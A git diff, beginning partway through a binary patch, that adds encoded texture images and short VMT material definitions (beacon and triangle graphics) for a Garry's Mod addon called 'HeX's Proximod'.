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 Na5O!PribC29ss@A?6Uv> literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vmt new file mode 100644 index 0000000..bbc16f5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_stickvertical" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_stickvertical.vtf new file mode 100644 index 0000000000000000000000000000000000000000..4e1e5cd501511fe205ba0d9e209ff28a90f6977f GIT binary patch literal 5696 zcmdUrK@I^y5Jig-A|aeX+{4%iiHLBlV_v9bzpO)T z{$sz)BWrwzl*<0xb&8Aq+&p<6I4PC=x$6`c`?-1YJaAGf`*YVRF7|Wt literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.psd b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.psd new file mode 100644 index 0000000000000000000000000000000000000000..00048e599cd8d0be0a65553c95c6fedbccbe8bac GIT binary patch literal 32532 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 aNpM-j+q9cyHt}&;l(7r?_Tj&sCjSe%`#78c literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vmt new file mode 100644 index 0000000..0166061 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_triangle" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle.vtf new file mode 100644 index 0000000000000000000000000000000000000000..f5625b4d961327e2b8a2dcc9ea3cda2ae81dd400 GIT binary patch literal 5696 zcmeHKZAcSw82{gGX;YW$g~Gy(8xgBjP#+>9D6@#7aPyO&5@#V15iu**bMBAAdR4ufh+ArDBGl5PVesDbDqzCV-VL;Gr=2ox8FU_|9O9&``^wT zE|N|N;o;m4rxSi#7ZQ$x|Jvab2*Fc*;uEsrnr?=R#S&*zNpL7XJAYC*ChDH=(CnZT z?goRQAlEefU>K9Eti7Cl_EJ*q&@hnNNLrqgGsdyOLJE8Y@v^QPXI6?O!8k6fTabXs zNCc3+{=HZ{6x|mpD zzkiE&Q`i2L3HA$5M02oF{^NM+`8!1)$nGCDxsE!(7-S92p#&xcR`xcyQ^q;>hR4)jMao*B}!u@m`A%zv=C0kt_GhEjpZ*etgXnpH{+eRyaOe*p*6jIr^D-w2 z%?%}v`sp-6uKM^@h;vfhFX_c6Cuu(g`nHpq76a24h2a1#f>=*ps`Rv7>O3o6gYs9! zpt)r#AU3sRAM3bd9OdSpvfa{vGU literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vmt new file mode 100644 index 0000000..3579406 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_triangle_edged" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_edged.vtf new file mode 100644 index 0000000000000000000000000000000000000000..64dc2128ef8522f9e56b86068135dcf965416958 GIT binary patch literal 5696 zcmeHKUr19?7(cshx>?d5T4femO{0e%de9zdKq(7hr|+D*PcL`Y%s-jn9e3w`=Y043e&647 zZlRPnW*5#1lE3X5i06y@A2_+*oP1wvRj5u0aoQslZ)obMqk+Sr z2EbvuF3TI5s)sXTwEL(mbAv$x;>j!0$OA+2iZt?MkEG{cM_l!GSG^J6Z|r>%rcs7m z^-p83W4MQYlZ_{-Ik{!8YY7=Ldi4@ys;s z*s1yl@jD7s{~$fx`d8@uTN@hlZ>KHCRQqPkzYuPB8s{JL?^N-WG^_DBxe?+c%QkI% zEMT;j_BjbDX;$MCb&OakUwwE8r8GK%8^bzL&X_`w}M z!sH27u9nqxBK^iYxn&eehUXU~q*fopq@~BxuU&TngYouNB?Kj>%8Rcb$K$}^^gvl3 z+Dm`3CqjAvca}-k<^Lq;C~u7%x7RJppf5FaO9`UBME;mx=i!)e{v`6(h~R42cIvDd z{XZh?zG5#IvXD;n{#;wn)%CA*y06AwP(RxL)9G`l*9)Vx%0GSmYqtGm{FHkrobMmO z_+o#!9L^-He$_r9;AXg|jH{-9`{$o{3} zXZzRENTc$=p=6-Ezm3OC^HYPX{*mk462wREvL`~e^s)G9_s@P2!mWw7+E>xu__1Gv zbRhJux__ziJQC=8Yu{0mjrwNVKD~USuAiBsP~1Oy;^N&6=h-ZiWkI}MiR>PKoyqgM zeGkl0Xb$vy8`{5Mn$LTBd-ZhM02DW*IO<3HSpR}>XCY1Lkq*W)MvrgT#Mh5>I5qOP zK9A&08-V5jC4zYLc&ADyd09Uz-Hh_BuRpi2?;Fv~`_p;E-vcuc?rF65&;DZiARUOc zvsx*E@2eP|LXNj}RS5A;)qc`XgviUfxc#de;tkmQ z-`IKl;OPF97gYDJ7sq(KHQxiG8N&U~;+@#Pq8ZYGID_i`8N(|r{08U!n-kwZg?p7{ u%Cok(eun-;9CL*h?zJfG)sbq%JLP&{g5a8$$Lk^C_w>BK=kw)%u9si-HYCpg literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vmt new file mode 100644 index 0000000..e8b9675 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_triangle_inside" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_triangle_inside.vtf new file mode 100644 index 0000000000000000000000000000000000000000..45066d4db9e9c32f45b21bb52ce303128002d2a2 GIT binary patch literal 5696 zcmWFwabsX-U|?VZ;s79a074%n21Z688v+{a85m#~B+_8d4yM) z_x(Q*3>0ne0Con$|NlUmnVH$mf)gwN<}>i{FqmaD%Kv1B$OC1BUTjO;y)FMaL>|Q7 z5PN(3-y1MK(}!#QHrsM%r5bR6J?vg^+t!zd=n;aC@QY3!T6EHU9KQ$UegoPLK1l$`9adMLeH*d;K4IB=ZRQe^eeE!0_}u8XnXQ zkAF;_^ISS7a=`M@KPLZ0Dg{icF#d20Z(|0}Nh+R`SYZB>`ggDY&mUm%0xiF!|NZ~N z{{JVOZw6N11h4;wdU&wBHOqSMmiG_lUqUp?+t$A~`TtyosT*qk=ehxEAEYY7+^@L$ z$9zz1!}x?~#dZHb+9Rn4o3}}Jz}h>chQHXmZ+TCi0jn?^^)spBq95k}Jz)P=9;S~} z_t0AXe@4$qM?9y9z})wLH(L9M(s0;~+P(tX_ejO7NeyNnt^J2?J~LW*#`ztXxqscK zT71L&g^T9+1u7iA?uW^<(7C*n_y)|}z$6Z{f1qi}Z@|ID@xNfmGlcQ?u;hgh8`>wCAT@5}K z{yfifp65Bg^Znh<@BGe;oO>BRhG97PFB|@2ScbhnmSI`+clc3-I`72)`ToV3sfE8N z)bKx@4qxVLg8z?viec=n<|#+^GR*6Fc02n0q}gs4{yjHu0iqvxFn0#J(GEZOH~RN` zPPW#d-!pO_d;tGD{*C^TSN%Zdv@^bB=2H&e}O=B1@ z{9t;su3RV3ag%l98<$HC!gb}r!R3DI-hSrT?mOH33ysXl2WI5T*G0??b^ZHNL_c^> zO{;tzG`?6g7ty&h9ylpq4~>f(-#~P0%{>oBzvwE8=q@;fzx!>rwBk-%wdwNfzVCmB zJ+n&NPor^&d(owCTX)ut$K!2w;sx`vH-+obxWM=eKlr-`(~?VzXHC!e`BKzB8n1WQ z`wv?l2^8)}<2LyE!L+2?_3wol{}zhwN8=gy;=OZIU9;NoxJoa%irUQnMW`K(FI->L zCfl#@(dH);{!>%`(as{_dNkgH`~QCoe5|cnVt8BNubx@UFvgyXtk)YOx7WOp!^G(> zdL=uHyj~+?hbM5R=R3WweN!;ayu|33Ug;U(`Wch-hlKvhP5u4lT<>|Z&E1~`S#->@ z4u*MpLH-OilVIw4;(`f}ryt|k0PiQFQ)Eqw()g!!4;{t#4}RYprCF7uD5txi0r$sluYJ93!WkKQ zUd{s#6ftpQ{yV2(jzFx-ID!16`58>xa6A#Bcav>oT zJ?|d);Y>~MEdAqerqbtU9X8#+`D=T=l(9Xx#kN+0pD#Gt~q zjYsJ{_vrnZUzNunS#=&?KlpoYlvXm$HNj0!rr`eg9rN1x{mVW=&ntT1fgG5hm1zE; z`KbqaCf&#ua}$a((R`Vazu;+BwR6hRvyK<={V<+@kMd&!>4IELE8%SM~VZOXkW0xjYo7%kEG&Fv2 zw_TQ4?Rd}|t;96Hqx+Lbeyu)=uGdeRVZYw<20#C1>D)6QZ(Kzuj(Y|9p_X|-I2H6A z@Cvlb$v(|E9`i;o^m-@C;r$qq%yzkg3upVW4DLCySMkl zceS6P{%1H8`uwBtK0AAl`raou`)0py@cpCj0{ysn-nHW}pX~N@sl4pUMXjG?GMaC1 zWarq2F)_wDhVe)6_ZYaAF-N+*7EG(zmUoYpiRHEPZ!YgfB47NNK*v52?a$UbYMW_$ zC|BRU@Ic))++QTajGB0|eIcf$WuB*dxfIY(MrM*!Z_msE{k*dG&%XD~zv1zi_5tE= 